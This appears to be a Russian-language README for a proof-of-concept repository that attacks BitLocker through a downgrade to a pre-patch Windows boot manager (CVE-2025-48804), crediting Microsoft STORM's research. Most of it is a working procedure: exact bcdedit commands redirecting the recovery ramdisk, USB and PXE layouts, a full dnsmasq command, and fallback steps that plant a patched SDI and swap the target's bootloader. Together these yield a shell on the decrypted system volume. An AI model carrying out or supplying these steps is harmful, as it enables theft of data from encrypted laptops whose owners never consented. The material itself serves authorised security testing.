
Атака понижения версии для CVE-2025-48804
Доказательство концепции для доступа к зашифрованным BitLocker дискам менее чем за 5 минут на полностью обновлённых машинах с Windows 11 с помощью атаки понижением версии загрузчика, использующей уязвимость SDI, первоначально задокументированную как CVE-2025-48804. Июльский патч 2025 года закрывает эту уязвимость в bootmgfw.efi, поэтому любой bootmgfw.efi до установки патча, подписанный под PCA 2011, может быть использован для атаки понижения версии, если целевая система доверяет этому PCA.
Этот PoC предоставляет два метода доставки: загрузка с USB (проще и рекомендуется) и загрузка по PXE. Но теоретически можно просто скопировать загрузочный файл SDI в один из незашифрованных разделов по умолчанию (ESP или Recovery) и не заморачиваться с USB или PXE – см. таблицу «Крайние случаи».
Эта работа полностью основана на исследованиях Microsoft STORM (Netanel Ben Simon и Alon Leviev):
BitUnlocker: Leveraging Windows Recovery to Extract BitLocker Secrets
dnsmasq и кабель Ethernet для PXEПоместите его в USB/sdi/ (для метода USB) или TFTP-root/sdi/ (для метода PXE).
На целевом устройстве откройте командную строку WinRE (удерживайте Shift при нажатии Перезагрузка, затем Поиск и устранение неисправностей > Командная строка — нажмите «Пропустить этот диск», когда будет запрошен ключ восстановления BitLocker, и нажмите «перезапустить», если появится сообщение о том, что командная строка не может работать на заблокированном устройстве — если командная строка всё равно не открывается, используйте свою собственную WinPE, если можете). Подключите USB-флешку и выполните:
E: (или буква вашей флешки)
bcdedit /export BCD_modded
bcdedit /store BCD_modded /set {default} path \WINDOWS\system32\winload_DOESNOTEXIST.efi
bcdedit /store BCD_modded /enum all
В выводе найдите запись параметров устройства, описание которой — "Windows Recovery" и которая содержит ramdisksdidevice / ramdisksdipath. Запомните её GUID, затем:
bcdedit /store BCD_modded /set {GUID} ramdisksdidevice boot
bcdedit /store BCD_modded /set {GUID} ramdisksdipath \sdi\boot_patched.sdi
move BCD_modded BCD
Поместите полученный файл BCD в соответствующее место в зависимости от вашего метода:
USB/EFI/Microsoft/Boot/BCDTFTP-root/Boot/BCDОтформатируйте USB-флешку в FAT32 и скопируйте содержимое каталога USB/ в её корень (только содержимое, папки «USB» быть не должно). Флешка должна выглядеть так:
Корень флешки/
├── EFI/
│ ├── Boot/
│ │ └── bootx64.efi # Загрузчик до патча (PCA 2011)
│ └── Microsoft/
│ └── Boot/
│ └── BCD # Ваш изменённый BCD
└── sdi/
└── boot_patched.sdi # Пропатченный SDI с кастомной WinRE
Подключите флешку к целевому устройству и инициируйте загрузку с USB через UEFI — либо из WinRE (Использовать устройство), либо нажав клавишу меню загрузки производителя при включении (F12, F9 и т.д.). Если флешка не отображается в списке вариантов загрузки, найдите опцию "Boot from file" в меню загрузки UEFI, затем перейдите к EFI/Boot/bootx64.efi на флешке.
Каталог TFTP-root/ имеет следующую структуру:
TFTP-root/
├── bootmgfw.efi # Загрузчик до патча (PCA 2011)
├── Boot/
│ └── BCD # Ваш изменённый BCD
├── EFI/
│ └── Microsoft/
│ └── Boot/
│ └── bootmgfw.efi # Тот же загрузчик до патча
└── sdi/
└── boot_patched.sdi # Пропатченный SDI с кастомной WinRE
Подключите целевое устройство к вашей Linux-машине через Ethernet и запустите PXE-сервер:
cd BitUnlocker
export INTERFACE=<ваш-интерфейс>
export ABS_TFTP_ROOT=$(pwd)/TFTP-root
sudo ifconfig $INTERFACE 10.13.37.1
sudo dnsmasq --no-daemon \
--interface="$INTERFACE" \
--dhcp-range=10.13.37.100,10.13.37.101,255.255.255.0,1h \
--dhcp-boot=bootmgfw.efi \
--enable-tftp \
--tftp-root="$ABS_TFTP_ROOT" \
--log-dhcp \
--tftp-max=65464 \
--port=0
Запустите PXE-загрузку на целевом устройстве — в WinRE выберите Использовать устройство > IPv4 Network, или нажмите клавишу PXE-загрузки производителя.
Загрузчик загрузит BCD, а затем начнёт скачивание boot_patched.sdi. SDI-файл большой (~300 МБ), поэтому с USB это занимает некоторое время, а по TFTP — несколько минут. На экране целевого устройства должно появиться сообщение, связанное с восстановлением, с путём к SDI, пока он загружается.
После завершения передачи должна появиться командная строка с расшифрованным и смонтированным томом ОС (обычно C: или E:). Если он не смонтировался автоматически или вы не хотите угадывать букву, просто выполните diskpart -> sel vol X (тот, который похож на ваш зашифрованный диск) -> assign letter=C (или другую букву) -> exit -> профит
| Ситуация | Что происходит |
|---|---|
| BitLocker настроен с PIN-кодом, который вы знаете | Синий экран при загрузке — введите PIN-код вслепую (извините, я не заморачивался со шрифтами BitLocker в этом репозитории) и нажмите Enter |
| Синий экран, PIN-кода нет | Целевое устройство, вероятно, перешло на CA 2023 — нажмите Escape и дайте передаче SDI завершиться, но зашифрованный диск BitLocker, скорее всего, останется заблокированным |
| Только USB-C / Thunderbolt | Используйте USB-C-накопитель или адаптер USB-Ethernet (для PXE) |
| Файл TFTP не найден (кроме мусорных файлов шрифтов, которые нам не нужны) | Имена файлов чувствительны к регистру — переименуйте bootmgfw.efi в соответствии с запросом цели |
| Загрузка с USB или PXE запрещена | Проверьте доступный размер разделов ESP и Recovery (diskpart -> list vol). Если в одном из разделов достаточно места для предоставленного файла Boot.sdi (около 300 МБ), поместите его туда. Тогда эксплойт будет немного другим (но всё равно таким же быстрым): вам нужно будет напрямую изменить BCD-файл целевой системы (сделайте резервную копию), чтобы он указывал на незашифрованный раздел хоста (в частности, запись ramdisksdidevice в BCD), и заменить bootmgfw.efi целевой системы на тот, что предоставлен в папке TFTP этого репозитория. В этом случае убедитесь, что загрузчик цели подписан PCA 2011 (иначе эксплойт всё равно не сработает, всегда проверяйте это), иначе вы переведёте систему в режим восстановления BitLocker. Также, если места для файла Boot.sdi из этого репозитория недостаточно, можно попробовать создать свою меньшую версию — для этого есть определённые способы (см. раздел «Создайте свой собственный SDI-файл» ниже) |
Я включил два скрипта в scripts/:
patch_sdi.py — создаёт модифицированный SDI-файл из boot.sdi и WinRE.wimparse_sdi.py — анализирует SDI-файл для проверки его структуры и содержимогоФайл boot_patched.sdi, предоставленный в Releases, содержит модифицированную WinRE.wim, в которой приложение запуска — cmd.exe.
bootmgfw.efi, подписанный CA 2023. Чтобы проверить, смонтируйте раздел EFI и проверьте активный бинарник: mountvol S: /s затем sigcheck -i S:\EFI\Microsoft\Boot\bootmgfw.efi. Обратите внимание, что C:\Windows\Boot\EFI\bootmgfw.efi может отличаться от файла, который фактически используется при загрузке — всегда проверяйте копию в разделе EFI.Microsoft STORM (Netanel Ben Simon и Alon Leviev) за оригинальное исследование BitUnlocker и раскрытие уязвимости.
Этот проект лицензирован в соответствии с MIT License. См. файл LICENSE для подробностей.
Этот репозиторий и всё его содержимое предоставляются строго для авторизованного тестирования безопасности и исследовательских целей. Используйте этот инструмент только на системах, которые вам принадлежат или на которые у вас есть явное письменное разрешение на тестирование. Несанкционированный доступ к компьютерным системам незаконен. Автор не несёт ответственности за любое неправомерное использование или ущерб, возникший в результате использования этого материала.